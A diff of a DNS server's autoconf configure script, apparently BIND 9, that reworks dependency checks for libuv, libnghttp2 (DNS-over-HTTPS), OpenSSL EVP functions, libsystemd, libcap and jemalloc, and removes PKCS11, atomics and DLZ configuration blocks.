+CFLAGS="$CFLAGS $LIBUV_CFLAGS"
+LIBS="$LIBS $LIBUV_LIBS"
+
+# libuv recvmmsg support
+AC_CHECK_DECLS([UV_UDP_MMSG_FREE, UV_UDP_MMSG_CHUNK], [], [], [[#include <uv.h>]])
+AC_MSG_CHECKING([whether struct msghdr uses padding for alignment])
+AC_COMPILE_IFELSE([AC_LANG_PROGRAM([#include <sys/socket.h>],
+				   [const struct msghdr h = { .__pad1 = 0, .__pad2 = 0 };])],
+		  [AC_MSG_RESULT([yes])
+		   AC_DEFINE([HAVE_DECL_UV_UDP_RECVMMSG],
+			     [0], [Disable recvmmsg support on systems with MUSL glibc])],
+		  [AC_MSG_RESULT([no])
+		   AC_CHECK_DECLS([UV_UDP_RECVMMSG], [], [], [[#include <uv.h>]])])
+
+# libuv recverr support
+AC_CHECK_DECLS([UV_UDP_LINUX_RECVERR], [], [], [[#include <uv.h>]])
 
-# libnghttp2
-AC_MSG_CHECKING([for libnghttp2])
-PKG_CHECK_MODULES([LIBNGHTTP2], [libnghttp2 >= 1.6.0], [],
-		  [AC_MSG_ERROR([libnghttp2 not found])])
-AX_SAVE_FLAGS([libnghttp2])
+AX_RESTORE_FLAGS([libuv])
+
+# [pairwise: --enable-doh --with-libnghttp2=auto, --enable-doh --with-libnghttp2=yes, --disable-doh]
+AC_ARG_ENABLE([doh],
+	      [AS_HELP_STRING([--disable-doh], [disable DNS over HTTPS, removes dependency on libnghttp2 (default is --enable-doh)])],
+	      [], [enable_doh=yes])
+
+# [pairwise: skip]
+AC_ARG_WITH([libnghttp2],
+	    [AS_HELP_STRING([--with-libnghttp2],
+			    [build with libnghttp2 library [yes|no|auto] (default is auto)])],
+	    [], [with_libnghttp2="auto"])
+
+AS_IF([test "$enable_doh" = "yes"],
+      [AS_CASE([$with_libnghttp2],
+	       [no],[AC_MSG_ERROR([Use '--disable-doh' to disable DNS-over-HTTPS support])],
+	       [auto|yes],[PKG_CHECK_MODULES([LIBNGHTTP2], [libnghttp2 >= 1.6.0],
+					     [AC_DEFINE([HAVE_LIBNGHTTP2], [1], [Build with DNS-over-HTTPS support])],
+					     [AC_MSG_ERROR(m4_normalize([DNS-over-HTTPS support requested, but libnghttp2 not found.
+									 Either install libnghttp2 or use --disable-doh.]))])],
+	       [AC_MSG_ERROR([Specifying libnghttp2 installation path is not supported, adjust PKG_CONFIG_PATH instead])])])
+
+AM_CONDITIONAL([HAVE_LIBNGHTTP2], [test -n "$LIBNGHTTP2_LIBS"])
 
-CFLAGS="$CFLAGS $LIBNGHTTP2_CFLAGS"
-LIBS="$LIBS $LIBNGHTTP2_LIBS"
 
 #
 # flockfile is usually provided by pthreads
@@ -627,19 +692,20 @@ AS_IF([test "$enable_pthread_rwlock" = "yes"],
 		      [AC_MSG_ERROR([pthread_rwlock_rdlock requested but not found])])
        AC_DEFINE([USE_PTHREAD_RWLOCK],[1],[Define if you want to use pthread rwlock implementation])
       ])
+AM_CONDITIONAL([USE_ISC_RWLOCK], [test "$enable_pthread_rwlock" != "yes"])
 
 CRYPTO=OpenSSL
 
 #
 # OpenSSL/LibreSSL is mandatory
 #
-PKG_CHECK_MODULES([OPENSSL], [libssl libcrypto liboqs], [],
-		  [AX_CHECK_OPENSSL([:],[AC_MSG_FAILURE([OpenSSL/LibreSSL not found])])])
+PKG_CHECK_MODULES([OPENSSL], [libssl libcrypto], [PKG_CHECK_VERSION([OPENSSL_VERSION], [openssl])],
+		  [AX_CHECK_OPENSSL([:], [AC_MSG_FAILURE([OpenSSL/LibreSSL not found])])])
 
 AX_SAVE_FLAGS([openssl])
 
-CFLAGS="$CFLAGS $OPENSSL_CFLAGS"
-LIBS="$LIBS $OPENSSL_LIBS -loqs"
+CFLAGS="$OPENSSL_CFLAGS $CFLAGS"
+LIBS="$OPENSSL_LIBS $LIBS"
 
 AC_MSG_CHECKING([for OpenSSL >= 1.0.0 or LibreSSL >= 2.7.0])
 AC_COMPILE_IFELSE(
@@ -656,53 +722,55 @@ AC_COMPILE_IFELSE(
 # Check for functions added in OpenSSL or LibreSSL
 #
 
-AC_CHECK_FUNCS([OPENSSL_init_ssl OPENSSL_init_crypto])
+AC_CHECK_FUNCS([BIO_read_ex BIO_write_ex])
+AC_CHECK_FUNCS([BN_GENCB_new])
 AC_CHECK_FUNCS([CRYPTO_zalloc])
+AC_CHECK_FUNCS([ERR_get_error_all])
 AC_CHECK_FUNCS([EVP_CIPHER_CTX_new EVP_CIPHER_CTX_free])
-AC_CHECK_FUNCS([EVP_MD_CTX_new EVP_MD_CTX_free EVP_MD_CTX_reset])
-AC_CHECK_FUNCS([HMAC_CTX_new HMAC_CTX_free HMAC_CTX_reset HMAC_CTX_get_md])
+AC_CHECK_FUNCS([EVP_MD_CTX_new EVP_MD_CTX_free EVP_MD_CTX_reset EVP_MD_CTX_get0_md])
+AC_CHECK_FUNCS([EVP_PKEY_new_raw_private_key EVP_PKEY_eq])
+AC_CHECK_FUNCS([OPENSSL_init_ssl OPENSSL_init_crypto OPENSSL_cleanup])
+AC_CHECK_FUNCS([SSL_CTX_set_keylog_callback])
+AC_CHECK_FUNCS([SSL_CTX_set_min_proto_version])
+AC_CHECK_FUNCS([SSL_CTX_up_ref])
 AC_CHECK_FUNCS([SSL_read_ex SSL_peek_ex SSL_write_ex])
-AC_CHECK_FUNCS([BIO_read_ex BIO_write_ex])
+AC_CHECK_FUNCS([SSL_CTX_set1_cert_store X509_STORE_up_ref])
 AC_CHECK_FUNCS([SSL_CTX_up_ref])
-AC_CHECK_FUNCS([SSL_CTX_set_min_proto_version])
+AC_CHECK_FUNCS([SSL_SESSION_is_resumable])
 
 #
 # Check for algorithm support in OpenSSL
 #
 
-AC_CHECK_FUNCS([ECDSA_sign ECDSA_verify], [:],
-	       [AC_MSG_FAILURE([ECDSA support in OpenSSL is mandatory.])])
+AC_CHECK_FUNCS([EVP_DigestSignInit EVP_DigestVerifyInit], [:],
+	       [AC_MSG_FAILURE([EVP_DigestSignInit/EVP_DigestVerifyInit support in OpenSSL is mandatory.])])
 
 AC_MSG_CHECKING([for ECDSA P-256 support])
 AC_COMPILE_IFELSE(
-    [AC_LANG_PROGRAM([[#include <openssl/evp.h>
-		       #include <openssl/ec.h>]],
-		     [[EC_KEY *key = EC_KEY_new_by_curve_name(NID_X9_62_prime256v1);]])],
+    [AC_LANG_PROGRAM([[#include <openssl/evp.h>]],
+		     [[EVP_PKEY_CTX *kctx = EVP_PKEY_CTX_new_id(NID_X9_62_prime256v1, NULL);]])],
     [AC_MSG_RESULT([yes])],
     [AC_MSG_FAILURE([not found.  ECDSA P-256 support in OpenSSL is mandatory.])])
 
 AC_MSG_CHECKING([for ECDSA P-384 support])
 AC_COMPILE_IFELSE(
-    [AC_LANG_PROGRAM([[#include <openssl/evp.h>
-		       #include <openssl/ec.h>]],
-		     [[EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp384r1);]])],
+    [AC_LANG_PROGRAM([[#include <openssl/evp.h>]],
+		     [[EVP_PKEY_CTX *kctx = EVP_PKEY_CTX_new_id(NID_secp384r1, NULL);]])],
     [AC_MSG_RESULT([yes])],
     [AC_MSG_FAILURE([not found.  ECDSA P-384 support in OpenSSL is mandatory.])])
 
 AC_MSG_CHECKING([for Ed25519 support])
 AC_COMPILE_IFELSE(
-    [AC_LANG_PROGRAM([[#include <openssl/evp.h>
-		       #include <openssl/ec.h>]],
-		     [[EC_KEY *key = EC_KEY_new_by_curve_name(NID_ED25519);]])],
+    [AC_LANG_PROGRAM([[#include <openssl/evp.h>]],
+		     [[EVP_PKEY_CTX *kctx = EVP_PKEY_CTX_new_id(NID_ED25519, NULL);]])],
     [AC_DEFINE([HAVE_OPENSSL_ED25519], [1], [define if OpenSSL supports Ed25519])
      AC_MSG_RESULT([yes])],
     [AC_MSG_RESULT([no])])
 
 AC_MSG_CHECKING([for Ed448 support])
 AC_COMPILE_IFELSE(
-    [AC_LANG_PROGRAM([[#include <openssl/evp.h>
-		       #include <openssl/ec.h>]],
-		     [[EC_KEY *key = EC_KEY_new_by_curve_name(NID_ED448);]])],
+    [AC_LANG_PROGRAM([[#include <openssl/evp.h>]],
+		     [[EVP_PKEY_CTX *kctx = EVP_PKEY_CTX_new_id(NID_ED448, NULL);]])],
     [AC_DEFINE([HAVE_OPENSSL_ED448], [1], [define if OpenSSL supports Ed448])
      AC_MSG_RESULT([yes])],
     [AC_MSG_RESULT([no])])
@@ -728,7 +796,8 @@ AC_CHECK_FUNCS([EVP_aes_128_ecb EVP_aes_192_ecb EVP_aes_256_ecb], [:],
 #
 # Check for OpenSSL 1.1.x/LibreSSL functions
 #
-AC_CHECK_FUNCS([DH_get0_key ECDSA_SIG_get0 RSA_set0_key])
+AC_CHECK_FUNCS([ECDSA_SIG_get0 EVP_PKEY_get0_EC_KEY])
+AC_CHECK_FUNCS([RSA_set0_key EVP_PKEY_get0_RSA])
 
 AC_CHECK_FUNCS([TLS_server_method TLS_client_method])
 
@@ -738,6 +807,8 @@ AC_CHECK_FUNCS([TLS_server_method TLS_client_method])
 # FIPS is not included in pairwise testing as the relevant Docker image
 # does not support FIPS mode.
 #
+AC_CHECK_FUNCS(EVP_default_properties_enable_fips FIPS_mode)
+
 # [pairwise: skip]
 AC_ARG_ENABLE([fips-mode],
 	      [AS_HELP_STRING([--enable-fips-mode],
@@ -747,8 +818,9 @@ AC_ARG_ENABLE([fips-mode],
 AC_MSG_CHECKING([whether to enable FIPS mode in OpenSSL library])
 AS_CASE([$enable_fips_mode],
 	[yes], [AC_MSG_RESULT([yes])
-		AC_CHECK_FUNCS([FIPS_mode],
-			       [], [AC_MSG_FAILURE([OpenSSL FIPS mode requested but not available.])])],
+	        AC_DEFINE([ENABLE_FIPS_MODE], [1], [Define to 1 if you want FIPS mode to be enabled])
+		AS_IF([test "x$ac_cv_func_FIPS_mode" != xyes -a "x$ac_cv_func_EVP_default_properties_enable_fips" != xyes],
+		      AC_MSG_FAILURE([OpenSSL FIPS mode requested but not available.]))],
 	[no], [AC_MSG_RESULT([no])])
 
 AX_RESTORE_FLAGS([openssl])
@@ -756,43 +828,6 @@ AX_RESTORE_FLAGS([openssl])
 AC_SUBST([OPENSSL_CFLAGS])
 AC_SUBST([OPENSSL_LIBS])
 
-#
-# was --enable-native-pkcs11 specified?
-#
-# [pairwise: --enable-native-pkcs11, --disable-native-pkcs11]
-AC_ARG_ENABLE([native-pkcs11],
-	      AS_HELP_STRING([--enable-native-pkcs11],
-			     [use native PKCS11 for public-key crypto [default=no]]),
-	      [:], [enable_native_pkcs11="no"])
-
-AC_MSG_CHECKING([for PKCS11 for Public-Key Cryptography])
-AS_CASE([$enable_native_pkcs11],
-	[no],[AC_MSG_RESULT([no])],
-	[yes],[CRYPTO=pkcs11
-	       AC_MSG_RESULT([yes])
-	       AC_CHECK_FUNCS([getpassphrase])
-	      ])
-AM_CONDITIONAL([HAVE_PKCS11], [test "$CRYPTO" = "pkcs11"])
-
-AC_SUBST([CRYPTO])
-AS_CASE([$CRYPTO],
-	[pkcs11],[AC_DEFINE([USE_PKCS11], [1], [define if PKCS11 is used for Public-Key Cryptography])],
-	[AC_DEFINE([USE_OPENSSL], [1], [define if OpenSSL is used for Public-Key Cryptography])])
-
-#
-# was --with-pkcs11 specified?
-#
-# [pairwise: skip]
-AC_ARG_WITH([pkcs11],
-	    [AS_HELP_STRING([--with-pkcs11[=PATH]],
-			    [Build with PKCS11 support [no|path] (PATH is for the PKCS11 provider)])],
-	    [:], [with_pkcs11="undefined"])
-
-AS_CASE([$with_pkcs11],
-	[yes|auto],[AC_MSG_ERROR([--with-pkcs11 needs explicit path to the PKCS11 library])],
-	[no|undefined],[with_pkcs11="undefined"])
-AC_DEFINE_UNQUOTED([PK11_LIB_LOCATION], ["$with_pkcs11"], [define the default PKCS11 library path])
-
 AC_CHECK_FUNCS([clock_gettime])
 
 # [pairwise: --with-gssapi=yes, --with-gssapi=auto, --without-gssapi]
@@ -962,6 +997,26 @@ AS_CASE([$with_zlib],
 AC_SUBST([ZLIB_CFLAGS])
 AC_SUBST([ZLIB_LIBS])
 
+#
+# was --with-libsystemd specified?
+#
+# [pairwise: --with-libsystemd=auto, --with-libsystemd=yes, --without-libsystemd]
+AC_ARG_WITH([libsystemd],
+	    [AS_HELP_STRING([--with-libsystemd],
+			    [build with libsystemd integration [default=auto]])],
+	    [], [with_libsystemd=auto])
+
+AS_CASE([$with_libsystemd],
+	[no],[],
+	[auto],[PKG_CHECK_MODULES([LIBSYSTEMD], [libsystemd],
+				  [AC_DEFINE([HAVE_LIBSYSTEMD], [1], [Use libsystemd library])],
+				  [:])],
+	[yes],[PKG_CHECK_MODULES([LIBSYSTEMD], [libsystemd],
+				 [AC_DEFINE([HAVE_LIBSYSTEMD], [1], [Use libsystemd library])])],
+	[AC_MSG_ERROR([Specifying libsystemd installation path is not supported, adjust PKG_CONFIG_PATH instead])])
+AC_SUBST([LIBSYSTEMD_CFLAGS])
+AC_SUBST([LIBSYSTEMD_LIBS])
+
 #
 # Check if the system supports glibc-compatible backtrace() function.
 #
@@ -1011,7 +1066,7 @@ AS_IF([test "$enable_tcp_fastopen" = "yes"],
 #
 # Check for some other useful functions that are not ever-present.
 #
-AC_CHECK_FUNCS([strlcpy strlcat])
+AC_CHECK_FUNCS([strlcpy strlcat strnstr])
 
 #
 # Check for readline support
@@ -1070,32 +1125,10 @@ case "$enable_chroot" in
 		;;
 esac
 
-LIBCAP_LIBS=""
-AC_MSG_CHECKING([whether to enable Linux capabilities])
-
-# [pairwise: --enable-linux-caps, --disable-linux-caps]
-AC_ARG_ENABLE([linux-caps],
-	      [AS_HELP_STRING([--disable-linux-caps],
-			      [disable Linux capabilities])],
-	      [],
-	      [AS_CASE([$host],
-		       [*-linux*],[enable_linux_caps=yes],
-		       [enable_linux_caps=no])])
-
-AS_IF([test "$enable_linux_caps" = "yes"],
-      [AC_MSG_RESULT([yes])
-       AC_CHECK_HEADERS([sys/capability.h],
-			[],
-			[AC_MSG_ERROR(m4_normalize([sys/capability.h header is required for Linux capabilities support.
-						    Either install libcap or use --disable-linux-caps.]))])
-       AX_SAVE_FLAGS([cap])
-       AC_SEARCH_LIBS([cap_set_proc], [cap],
-		      [LIBCAP_LIBS="$ac_cv_search_cap_set_proc"],
-		      [AC_MSG_ERROR(m4_normalize([libcap is required for Linux capabilities support.
-						  Either install libcap or use --disable-linux-caps.]))])
-       AX_RESTORE_FLAGS([cap])],
-      [AC_MSG_RESULT([no])])
-AC_SUBST([LIBCAP_LIBS])
+AS_CASE([$host],
+	[*-linux*],
+	[PKG_CHECK_MODULES([LIBCAP], [libcap],
+			   [AC_DEFINE([HAVE_LIBCAP], [1], [Define to 1 if libcap was found])])])
 
 case "$host" in
 *-solaris*)
@@ -1127,84 +1160,19 @@ AC_COMPILE_IFELSE(
 AC_MSG_CHECKING([for st_mtim.tv_nsec])
 AC_COMPILE_IFELSE(
   [AC_LANG_PROGRAM(
-     [[#include <sys/fcntl.h>]],
+     [[#include <sys/stat.h>]],
      [[struct stat s;
        return(s.st_mtim.tv_nsec);
       ]])],
-   [AC_DEFINE([HAVE_STAT_NSEC], [1], [define if struct stat has st_mtim.tv_nsec field])])
+  [AC_MSG_RESULT([yes])
+   AC_DEFINE([HAVE_STAT_NSEC], [1], [define if struct stat has st_mtim.tv_nsec field])],
+  [AC_MSG_RESULT([no])])
 
 #
 # Check for if_nametoindex() for IPv6 scoped addresses support
 #
 AC_CHECK_FUNCS([if_nametoindex])
 
-ISC_ATOMIC_LIBS=""
-AC_CHECK_HEADERS(
-  [stdatomic.h],
-  [AC_MSG_CHECKING([for memory model aware atomic operations])
-   AC_COMPILE_IFELSE(
-     [AC_LANG_PROGRAM(
-	[[#include <stdatomic.h>]],
-	[[atomic_int_fast32_t val = 0; atomic_fetch_add_explicit(&val, 1, memory_order_relaxed);]]
-      )],
-     [AC_MSG_RESULT([stdatomic.h])
-      AC_MSG_CHECKING([whether -latomic is needed for 64-bit stdatomic.h functions])
-      AC_LINK_IFELSE(
-	[AC_LANG_PROGRAM(
-	   [[#include <stdatomic.h>]],
-	   [[atomic_int_fast64_t val = 0; atomic_fetch_add_explicit(&val, 1, memory_order_relaxed);]]
-	 )],
-	[AC_MSG_RESULT([no])],
-	[ISC_ATOMIC_LIBS="-latomic"
-	 AX_SAVE_FLAGS([atomic])
-	 LIBS="$LIBS $ISC_ATOMIC_LIBS"
-	 AC_LINK_IFELSE(
-	   [AC_LANG_PROGRAM(
-	      [[#include <stdatomic.h>]],
-	      [[atomic_int_fast64_t val = 0; atomic_fetch_add_explicit(&val, 1, memory_order_relaxed);]]
-	    )],
-	   [AC_MSG_RESULT([yes])],
-	   [AC_MSG_FAILURE([libatomic needed, but linking with -latomic failed, please fix your toolchain.])])
-	 AX_RESTORE_FLAGS([atomic])
-	])
-     ],
-     [AC_MSG_FAILURE([stdatomic.h header found, but compilation failed, please fix your toolchain.])]
-   )],
-  [AC_MSG_CHECKING([for memory model aware atomic operations])
-   AC_COMPILE_IFELSE(
-     [AC_LANG_PROGRAM(
-	[[#include <inttypes.h>]],
-	[[int32_t val = 0; __atomic_fetch_add(&val, 1, __ATOMIC_RELAXED);]]
-      )],
-     [AC_MSG_RESULT([__atomic builtins])
-      AC_DEFINE([HAVE___ATOMIC], [1], [define if __atomic builtins are not available])
-      AC_MSG_CHECKING([whether -latomic is needed for 64-bit __atomic builtins])
-      AC_LINK_IFELSE(
-	[AC_LANG_PROGRAM(
-	   [[#include <inttypes.h>]],
-	   [[int64_t val = 0; __atomic_fetch_add(&val, 1, __ATOMIC_RELAXED);]]
-	 )],
-	[AC_MSG_RESULT([no])],
-	[ISC_ATOMIC_LIBS="-latomic"
-	 AX_SAVE_FLAGS([atomic])
-	 LIBS="$LIBS $ISC_ATOMIC_LIBS"
-	 AC_LINK_IFELSE(
-	   [AC_LANG_PROGRAM(
-	      [[#include <inttypes.h>]],
-	      [[int64_t val = 0; __atomic_fetch_add(&val, 1, __ATOMIC_RELAXED);]]
-	    )],
-	   [AC_MSG_RESULT([yes])],
-	   [AC_MSG_FAILURE([libatomic needed, but linking with -latomic failed, please fix your toolchain.])])
-	 AX_RESTORE_FLAGS([atomic])
-	])
-     ],
-     [AC_MSG_RESULT([__sync builtins])
-     ])
-  ])
-LIBS="$LIBS $ISC_ATOMIC_LIBS"
-
-AC_CHECK_HEADERS([stdalign.h])
-
 AC_CHECK_HEADERS([uchar.h])
 
 #
@@ -1223,40 +1191,60 @@ AC_LINK_IFELSE(
   ])
 
 #
-# Check for __builtin_expect
+# Check for __builtin_clz
 #
-AC_MSG_CHECKING([compiler support for __builtin_expect])
+AC_MSG_CHECKING([compiler support for __builtin_clz])
 AC_LINK_IFELSE(
   [AC_LANG_PROGRAM(
      [[]],
-     [[return (__builtin_expect(1, 1) ? 1 : 0);]]
+     [[return (__builtin_clz(0xff) == 24 ? 1 : 0);]]
    )],
-  [have_builtin_expect=yes
-   AC_MSG_RESULT(yes)],
-  [have_builtin_expect=no
-   AC_MSG_RESULT(no)]
+  [AC_MSG_RESULT([yes])
+   AC_DEFINE(HAVE_BUILTIN_CLZ, 1, [Define to 1 if the compiler supports __builtin_clz.])
+  ],
+  [AC_MSG_RESULT([no])]
 )
-if test "yes" = "$have_builtin_expect"; then
-	AC_DEFINE(HAVE_BUILTIN_EXPECT, 1, [Define to 1 if the compiler supports __builtin_expect.])
-fi
 
 #
-# Check for __builtin_clz
+# Check for __builtin_*_overflow
 #
-AC_MSG_CHECKING([compiler support for __builtin_clz])
+AC_MSG_CHECKING([compiler support for __builtin_add_overflow()])
 AC_LINK_IFELSE(
   [AC_LANG_PROGRAM(
-     [[]],
-     [[return (__builtin_clz(0xff) == 24 ? 1 : 0);]]
+     [[#include <limits.h>]],
+     [[return (__builtin_add_overflow((unsigned int)UINT_MAX, (unsigned int)UINT_MAX, &(unsigned int){ 0 }));]]
    )],
-  [have_builtin_clz=yes
-   AC_MSG_RESULT(yes)],
-  [have_builtin_clz=no
-   AC_MSG_RESULT(no)]
-)
-if test "yes" = "$have_builtin_clz"; then
-	AC_DEFINE(HAVE_BUILTIN_CLZ, 1, [Define to 1 if the compiler supports __builtin_clz.])
-fi
+  [AC_MSG_RESULT([yes])
+   AC_DEFINE([HAVE_BUILTIN_ADD_OVERFLOW], [1], [define if the compiler supports __builtin_add_overflow().])
+  ],
+  [AC_MSG_RESULT([no])
+  ])
+
+AC_MSG_CHECKING([compiler support for __builtin_sub_overflow()])
+AC_LINK_IFELSE(
+  [AC_LANG_PROGRAM(
+     [[#include <limits.h>]],
+     [[return (__builtin_sub_overflow((unsigned int)0, (unsigned int)UINT_MAX, &(unsigned int){ 0 }));]]
+   )],
+  [AC_MSG_RESULT([yes])
+   AC_DEFINE([HAVE_BUILTIN_SUB_OVERFLOW], [1], [define if the compiler supports __builtin_sub_overflow().])
+  ],
+  [AC_MSG_RESULT([no])
+  ])
+
+AC_MSG_CHECKING([compiler support for __builtin_mul_overflow()])
+AC_LINK_IFELSE(
+  [AC_LANG_PROGRAM(
+     [[#include <limits.h>
+       #include <stdint.h>
+     ]],
+     [[return (__builtin_mul_overflow(UINT64_MAX, UINT64_MAX, &(uint64_t){ 0 }));]]
+   )],
+  [AC_MSG_RESULT([yes])
+   AC_DEFINE([HAVE_BUILTIN_MUL_OVERFLOW], [1], [define if the compiler supports __builtin_mul_overflow().])
+  ],
+  [AC_MSG_RESULT([no])
+  ])
 
 #
 # Activate "rrset-order fixed" or not?
@@ -1303,18 +1291,23 @@ AM_CONDITIONAL([HAVE_DNSTAP], [test "$enable_dnstap" != "no"])
 # Look for sphinx-build
 #
 AC_ARG_VAR([SPHINX_BUILD], [path to sphinx-build binary used to build the documentation])
-AC_PATH_PROG([SPHINX_BUILD], [sphinx-build], [:])
-AM_CONDITIONAL([HAVE_SPHINX_BUILD], [test "$SPHINX_BUILD" != ":"])
+AC_PATH_PROG([SPHINX_BUILD], [sphinx-build], [])
+AM_CONDITIONAL([HAVE_SPHINX_BUILD], [test -n "$SPHINX_BUILD"])
 
-AC_PATH_PROG([XELATEX], [xelatex], [:])
-AC_PATH_PROG([LATEXMK], [latexmk], [:])
-AM_CONDITIONAL([HAVE_XELATEX], [test "$XELATEX" != ":" && test "$LATEXMK" != ":"])
+AC_PATH_PROG([XELATEX], [xelatex], [])
+AC_PATH_PROG([LATEXMK], [latexmk], [])
+AM_CONDITIONAL([HAVE_XELATEX], [test -n "$XELATEX" && test -n "$LATEXMK"])
+
+#
+# Build the man pages only if we have prebuilt manpages or we can build them from RST sources
+#
+AM_CONDITIONAL([BUILD_MANPAGES], [test -e doc/man/named.conf.5in || test -n "$SPHINX_BUILD"])
 
 #
 # Pull release date from CHANGES file last modification date
 # for reproducible builds
 #
-release_date=`date -r CHANGES +%Y-%m-%d`
+release_date=`date -u -r CHANGES +%Y-%m-%d`
 AC_SUBST([RELEASE_DATE], $release_date)
 
 #
@@ -1332,6 +1325,13 @@ AC_CONFIG_FILES([doc/doxygen/doxygen-input-filter],
 AC_PATH_PROG(CURL, curl, curl)
 AC_SUBST(CURL)
 
+#
+# Look for nc
+#
+
+AC_PATH_PROGS(NC, nc, nc)
+AC_SUBST(NC)
+
 #
 # IDN support using libidn2
 #
@@ -1386,24 +1386,40 @@ AC_SUBST([CMOCKA_LIBS])
 AM_CONDITIONAL([HAVE_CMOCKA], [test "$with_cmocka" = "yes"])
 
 #
-# Check for i18n
+# Compile with jemalloc (either provided as package or wired in the system on FreeBSD)
 #
-AC_CHECK_HEADERS(locale.h)
-AC_CHECK_FUNCS(setlocale)
+# [pairwise: --with-jemalloc=detect, --with-jemalloc=yes, --without-jemalloc]
+AC_ARG_WITH([jemalloc],
+	    [AS_HELP_STRING([--with-jemalloc=detect],[enable jemalloc memory allocator (default is detect)])],
+	    [],[with_jemalloc=detect])
+
+AS_CASE([$with_jemalloc],
+	[no],[],
+	[yes],[AX_CHECK_JEMALLOC(
+		 [AC_DEFINE([HAVE_JEMALLOC], [1], [Define to 1 if jemalloc is available])],
+		 [AC_MSG_ERROR([jemalloc not found])])],
+	[AX_CHECK_JEMALLOC(
+	   [AC_DEFINE([HAVE_JEMALLOC], [1], [Define to 1 if jemalloc is available])
+	    with_jemalloc=yes],
+	   [AC_MSG_WARN([jemalloc not found; performance will be reduced])
+	    with_jemalloc=no])])
+
+AS_IF([test "$with_jemalloc" = "no"],
+      [AS_CASE([$host],
+	       [*-freebsd*],[AC_MSG_ERROR([You cannot compile without jemalloc; jemalloc is the system allocator on FreeBSD])])
+       AC_CHECK_FUNCS([malloc_size malloc_usable_size])])
+
+AM_CONDITIONAL([HAVE_JEMALLOC], [test "$with_jemalloc" = "yes"])
 
 #
-# was --with-tuning specified?
+# Check memory leaks in external libraries
 #
-# [pairwise: --with-tuning=small, --without-tuning]
-AC_ARG_WITH([tuning],
-	    AS_HELP_STRING([--with-tuning=ARG],
-			   [Specify server tuning (default or small)]),
-	    [],[with_tuning=no])
-
-AS_CASE([$with_tuning],
-	[small],[AC_MSG_NOTICE(using small system tuning)],
-	[AC_DEFINE(TUNE_LARGE, 1, [Define to use default system tuning.])
-	 AC_MSG_NOTICE(using default system tuning)])
+# [pairwise: --enable-leak-detection, --disable-leak-detection]
+AC_ARG_ENABLE([leak-detection],
+	      [AS_HELP_STRING([--enable-leak-detection],[enable the memory leak detection in external libraries (libxml2, libuv, OpenSSL) (disabled by default)])],
+	      [],[enable_leak_detection=no])
+AS_CASE([$enable_leak_detection],
+	[yes],[AC_DEFINE([ENABLE_LEAK_DETECTION], [1], [Define to enable memory leak detection in external libraries])])
 
 #
 # was --enable-querytrace or --enable-singletrace specified?
@@ -1450,7 +1466,7 @@ no)
 	AC_MSG_RESULT(no)
 	;;
 *)
-	AC_MSG_ERROR("--enable-querytrace requires yes or no (not $enable_querytrace)")
+	AC_MSG_ERROR(["--enable-querytrace requires yes or no (not $enable_querytrace)"])
 	;;
 esac
 
@@ -1468,24 +1484,6 @@ AC_ARG_ENABLE(auto-validation,
 AS_IF([test "$enable_auto_validation" = "no"],[validation_default=yes])
 AC_DEFINE_UNQUOTED([VALIDATION_DEFAULT], ["$validation_default"], [the default value of dnssec-validation option])
 
-#
-# Configure any DLZ drivers.
-#
-# If config.dlz.in selects one or more DLZ drivers, it will set
-# CONTRIB_DLZ to a non-empty value, which will be our clue to
-# build DLZ drivers in contrib.
-#
-# This section has to come after the libtool stuff because it needs to
-# know how to name the driver object files.
-#
-
-CONTRIB_DLZ=""
-DLZ_DRIVER_INCLUDES=""
-DLZ_DRIVER_LIBS=""
-DLZ_DRIVER_SRCS=""
-DLZ_DRIVER_OBJS=""
-DLZ_SYSTEM_TEST=""
-
 #
 #
 # Response policy rewriting using DNS Response Policy Service (DNSRPS)
@@ -1512,17 +1510,14 @@ AC_COMPILE_IFELSE(
     AC_MSG_RESULT([no])
   ])
 
-# DNSRPS is not included in pairwise testing as the librpz library is not
-# present in the relevant Docker image.
-#
-# [pairwise: skip]
+# [pairwise: --enable-dnsrps --enable-dnsrps-dl, --disable-dnsrps]
 AC_ARG_ENABLE([dnsrps-dl],
 	      [AS_HELP_STRING([--enable-dnsrps-dl],
 			      [DNS Response Policy Service delayed link
-			       [default=$librpz_dl]])],
-	      [enable_librpz_dl="$enableval"], [enable_librpz_dl="$with_dlopen"])
+			       [default=yes]])],
+	      [enable_dnsrps_dl="$enableval"], [enable_dnsrps_dl="yes"])
 
-AS_IF([test "$enable_librpz_dl" = "yes" -a "$with_dlopen" = "no"],
+AS_IF([test "$enable_dnsrps_dl" = "yes" -a "$with_dlopen" = "no"],
       [AC_MSG_ERROR([DNS Response Policy Service delayed link requires dlopen to be enabled])])
 
 # [pairwise: skip]
@@ -1538,7 +1533,7 @@ AC_ARG_WITH([dnsrps-dir],
 	    [librpz_path="$withval/$librpz_name"], [librpz_path="$librpz_name"])
 AC_DEFINE_UNQUOTED([DNSRPS_LIBRPZ_PATH], ["$librpz_path"],
 		   [dnsrps $librpz_name])
-AS_IF([test "$enable_librpz_dl" = "yes"],
+AS_IF([test "$enable_dnsrps_dl" = "yes"],
       [
 	dnsrps_lib_open=2
       ],[
@@ -1558,45 +1553,12 @@ AC_ARG_ENABLE([dnsrps],
 	      [enable_dnsrps=$enableval], [enable_dnsrps=no])
 
 AS_IF([test "$enable_dnsrps" != "no"],[
-	AS_IF([test "$dnsrps_avail" != "yes"],
-	      [AC_MSG_ERROR([dlopen and librpz.so needed for DNSRPS])])
 	AS_IF([test "$dnsrps_lib_open" = "0"],
 	      [AC_MSG_ERROR([dlopen and librpz.so needed for DNSRPS])])
 	AC_DEFINE([USE_DNSRPS], [1], [Enable DNS Response Policy Service API])
       ])
 
-# FIXME BEGIN
-#sinclude(contrib/dlz/config.dlz.in)
-# AC_MSG_CHECKING(contributed DLZ drivers)
-#
-# if test -n "$CONTRIB_DLZ"
-# then
-# 	AC_MSG_RESULT(yes)
-# 	DLZ_DRIVER_RULES=contrib/dlz/drivers/rules
-# 	AC_CONFIG_FILES([$DLZ_DRIVER_RULES
-# 		contrib/dlz/modules/mysql/Makefile
-# 		contrib/dlz/modules/mysqldyn/Makefile])
-# else
-# 	AC_MSG_RESULT(no)
-# 	DLZ_DRIVER_RULES=/dev/null
-# fi
-#
-# AC_SUBST(CONTRIB_DLZ)
-# AC_SUBST(DLZ_DRIVER_INCLUDES)
-# AC_SUBST(DLZ_DRIVER_LIBS)
-# AC_SUBST(DLZ_DRIVER_SRCS)
-# AC_SUBST(DLZ_DRIVER_OBJS)
-# AC_SUBST(DLZ_SYSTEM_TEST)
-# AC_SUBST_FILE(DLZ_DRIVER_RULES)
-# this ensures the configure summary report comes out right
